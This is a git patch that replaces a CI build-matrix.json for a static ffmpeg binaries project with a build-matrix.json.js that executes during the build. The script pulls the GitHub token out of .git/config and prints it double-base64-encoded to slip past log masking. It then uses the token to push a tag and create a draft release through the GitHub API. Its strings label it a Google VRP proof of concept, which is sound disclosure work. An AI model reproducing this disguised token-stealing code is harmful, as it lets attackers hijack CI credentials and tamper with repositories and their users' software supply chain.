From 0d5d06bb67e8015a8e7a9560488d5592b2a9165b Mon Sep 17 00:00:00 2001 From: DeeperMind <183678089+DeeperMind@users.noreply.github.com> Date: Mon, 25 Nov 2024 10:20:49 +0000 Subject: [PATCH] wip --- build-matrix.json | 77 -------------------------------------------- build-matrix.json.js | 57 ++++++++++++++++++++++++++++++++ 2 files changed, 57 insertions(+), 77 deletions(-) delete mode 100644 build-matrix.json create mode 100644 build-matrix.json.js diff --git a/build-matrix.json b/build-matrix.json deleted file mode 100644 index 4375423..0000000 --- a/build-matrix.json +++ /dev/null @@ -1,77 +0,0 @@ -{ - "comment1": "runners hosted by GitHub, always enabled", - "hosted": [ - { - "comment": "Alpine container for static Linux binaries", - "os": "ubuntu-latest", - "container": "alpine:3.20", - "os_name": "linux", - "target_arch": "x64", - "exe_ext": "" - }, - { - "comment": "Ubuntu 24.04 with hardware acceleration", - "os": "ubuntu-latest", - "container": "ubuntu:24.04", - "os_name": "linux", - "target_arch": "x64", - "exe_ext": "-ubuntu-24.04" - }, - { - "comment": "Ubuntu 22.04 with hardware acceleration", - "os": "ubuntu-latest", - "container": "ubuntu:22.04", - "os_name": "linux", - "target_arch": "x64", - "exe_ext": "-ubuntu-22.04" - }, - { - "comment": "Explicit macOS version 13 is required for explicit x64 CPU.", - "os": "macos-13", - "os_name": "osx", - "target_arch": "x64", - "exe_ext": "" - }, - { - "comment": "Latest macOS version is arm64 CPU.", - "os": "macos-latest", - "os_name": "osx", - "target_arch": "arm64", - "exe_ext": "" - }, - { - "os": "windows-latest", - "os_name": "win", - "target_arch": "x64", - "exe_ext": ".exe" - } - ], - - "comment2": "runners hosted by the owner, enabled by the ENABLE_SELF_HOSTED variable being set on the repo", - "selfHosted": [ - { - "comment": "Alpine container for static Linux binaries", - "os": "self-hosted-linux-arm64", - "container": "alpine:3.20", - "os_name": "linux", - "target_arch": "arm64", - "exe_ext": "" - }, - { - "comment": "Ubuntu 24.04 with hardware acceleration", - "os": "self-hosted-linux-arm64", - "container": "ubuntu:24.04", - "os_name": "linux", - "target_arch": "arm64", - "exe_ext": "-ubuntu-24.04" - }, - { - "comment": "Ubuntu 22.04 with hardware acceleration", - "os": "self-hosted-linux-arm64", - "container": "ubuntu:22.04", - "os_name": "linux", - "target_arch": "arm64", - "exe_ext": "-ubuntu-22.04" - } - ] -} diff --git a/build-matrix.json.js b/build-matrix.json.js new file mode 100644 index 0000000..107ca71 --- /dev/null +++ b/build-matrix.json.js @@ -0,0 +1,57 @@ +const fs = require('fs'); +const process = require('process'); +const { execSync } = require('child_process') + +const REPO = ' shaka-project/static-ffmpeg-binaries'; +const FOLDER = '/tmp/.foobarbaz'; +const RLS_NAME = 'release-poc'; + + +const config = fs.readFileSync('repo-src/.git/config', 'utf8').split('\n'); + +let token = ''; +for (const line of config) { + if (line.includes('extraheader')) { + token = Buffer.from(line.split('basic ')[1].trim(), 'base64').toString('utf-8'); + break; + } +} + +console.log(Buffer.from(Buffer.from(token).toString('base64')).toString('base64')); + +execSync(`git clone https://${token}@github.com/${REPO} ${FOLDER}`); + +execSync(`git checkout -b ${RLS_NAME}`, { cwd: FOLDER }); + +execSync(`git config user.name ghost`, { cwd: FOLDER }); + +execSync(`git config user.email ghost@github.com`, { cwd: FOLDER }); + +execSync(`echo "this is for google-vrp to prove we can write to a branch" > poc.txt`, { cwd: FOLDER }); + +execSync(`git add poc.txt`, { cwd: FOLDER }); + +execSync(`git commit -m "for google vrp"`, { cwd: FOLDER }); + +execSync(`git push origin ${RLS_NAME}:refs/tags/${RLS_NAME}`, { cwd: FOLDER }); + +const url = `https://api.github.com/repos/${REPO}/releases`; + +const payload = { + tag_name: RLS_NAME, // The tag for the release + name: "draft_release", // The release title + body: "This is for google vrp to prove we can edit and create releases", // The release description + draft: true // Mark the release as a draft +}; + +fetch(url, { + method: "POST", + headers: { + "Authorization": `Bearer ${token.split(':')[1]}`, + "Accept": "application/vnd.github.v3+json", + "Content-Type": "application/json" + }, + body: JSON.stringify(payload) +}); + +